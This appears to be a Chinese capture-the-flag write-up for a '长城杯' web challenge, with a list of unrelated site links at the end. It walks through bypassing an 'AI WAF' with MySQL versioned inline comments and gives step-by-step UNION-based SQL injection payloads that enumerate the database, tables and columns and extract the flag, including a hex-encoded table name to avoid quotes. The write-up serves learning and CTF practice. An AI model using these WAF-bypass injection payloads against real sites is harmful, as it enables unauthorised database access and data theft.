当前位置: 首页 > news >正文

长城杯 WEB安全 AI WAF

根据提示,题目明确提到 "NexaData公司存储",这通常和数据库相关。并且提示AI_WAF

“AI WAF”通常指的是具备一定语义分析能力或强正则匹配规则的防火墙,它不仅仅匹配简单的关键

词,而是会识别 SQL 语句的结构。

根据上面的分析,极大概率是一个SQL注入绕过WAF的题目。按照正常的SQL注入流程来即

可,只不过绕过的规则可能不同。

先在kali中使用dirsearch扫描一下网址,扫除一个alert和search,但是只有alert能够访问

访问alert页面,发现是一个SQL检测识别的页面,这个应该就是题目中的AI_WAF,用来判断

网页是否遭受SQL注入攻击,以及显示用户的操作行为是SQL注入攻击的概率。

和正常的SQL注入流程一样,先找到注入点,在网页找到一个搜索框。

搜索输入1可以搜索到结果,在搜索框输入注入语句,显示无法搜索到结果,应该是备WAF过滤掉了。

查看源代码,没发现直接的参数,直接BP抓包查看格式。

通过POST方法,向/search接口发送JSON格式数据 的HTTP请求

在这里尝试了很多绕过方式,但是大多都被WAF识别拦截了。

但是在使用内联注释/!50400/时回显成功,内联注释是一个非常经典的利用 MySQL 特性

来绕过 WAF规则的技巧。

在标准SQL中,//里的内容会被当作注释忽略,但在MySQL中,/!50400/这代表“如果当

前数据库版本高于或等于5.04.00,则执行其中的代码”

接下来就是正常的SQL注入流程了:

(1)确认注入点与列数

使用搜索时1有回显,可以用来作为注入点,使用order by命令判断列数为3。

1' /*!50400order*/ /*!50400by*/3#

(2)判断回显位置,爆数据库名

将参数设置为-1让前面的查询为空,强行显示后面Union的结果。

可以看到3个回显位置:content、id、title

得到数据库为nexadata,和前面提示的公司的名字一样

-1' /*!50400union*/ /*!50400select*/1,/*!50400database*/(),3#

(3)根据数据库名,爆表名

注意这里不能使用group_concat(table_name)而是用limit,被过滤掉了,当时在卡在这里试了好久。得到两个表明article、where_is_my_flagggggg

-1' /*!50400union*/ /*!50400select*/ 1,2,table_name /*!50400from*/ /*!50400information_schema*/.tables /*!50400where*/ table_schema=database() /*!50400limit*/0,1 # ​ -1'/*!50400union*/ /*!50400select*/1,2,table_name /*!50400from*/ /*!50400information_schema*/.tables /*!50400where*/table_schema=database()/*!50400limit*/1,1#

(4)根据数据库名和表名,爆列名

显然where_is_my_flagggggg表中有我们要的flag,这里表名我使用了十六进制,单引号会被识别到。得到一个列名Th15_ls_f149

-1' /*!50400union*/ /*!50400select*/1,2,column_name /*!50400from*/ /*!50400information_schema*/.columns /*!50400where*/table_name=0x77686572655f69735f6d795f666c61676767676767 /*!50400limit*/0,1#

这个地方当时忘记截图了

(5)根据表名和列名,爆字段、

最终得到flag

-1' /*!50400union*/ /*!50400select*/1,2,Th15_ls_f149/*!50400from*/ where_is_my_flagggggg /*!50400limit*/0,1#
http://www.jsqmd.com/news/206570/

相关文章:

  • 黄仁勋最新演讲:5项创新加持,Rubin性能数据首曝;多样化开源,覆盖Agent/机器人/自动驾驶/AI4S
  • 【计算机毕业设计案例】机器学习基于python深度学习的鲜花识别
  • CTF 学习笔记
  • 大数据领域Storm的监控与调优实践
  • 虚拟机安装麒麟操作系统如何重置root密码
  • 基于深度学习的杂草检测系统
  • ABAQUS二维混凝土细观模型的数字化重建技术(二)图像映射
  • 深度学习毕设项目:python基于cnn卷积网络识别树叶是否存在病变
  • ue4 我的ai要用到的一下方法汇总 + ue的ai编程助手
  • 【路径规划】改进的蚁群算法无人机栅格地图最短路径规划【含Matlab源码 14857期】
  • 不会剪辑、不写稿,能不能靠 AI 做电影解说?
  • 双曲余弦ch(x)双曲余弦函数(ch(x))是双曲函数的一种,定义为:‌ch(x) = (eˣ + e⁻ˣ) / 2‌它和三角函数中的余弦函数类似,但定义在双曲线上,常用于数学、物理和工程领
  • DAB加ai加蓝牙音箱有市场吗
  • js获取本地视频流并播放
  • 大数据领域数据交易的商业模式探讨
  • 深度测评专科生必用的8款AI论文软件
  • 为什么你的Bonding总是单线跑?一文讲透layer2/layer2+3/layer3+4
  • adb: unable to connect for root: more than one device/emulator
  • 计算机深度学习毕设实战-基于python深度学习的鲜花识别人工智能
  • wazuh-主动拉黑
  • 吐血推荐10个AI论文平台,MBA论文写作必备!
  • 后端开发提效10倍!别再手写CRUD接口了,试试这个API开发平台
  • Java面试全攻略:从Spring Boot到Kubernetes的实战问答
  • 基于SpringBoot的旅游分享点评网系统(毕业设计项目源码+文档)
  • 【论文阅读】Steering Your Diffusion Policy with Latent Space Reinforcement Learning
  • AI模型训练震荡?解决方案汇总
  • 深度学习毕设项目:机器学习基于python深度学习的鲜花识别
  • Java消息中间件-Kafka全解(2026精简版)
  • 学习率调整与优化技巧相关 TensorFlow安装依赖冲突解决方案汇总
  • 【课程设计/毕业设计】人工智能基于python深度学习的鲜花识别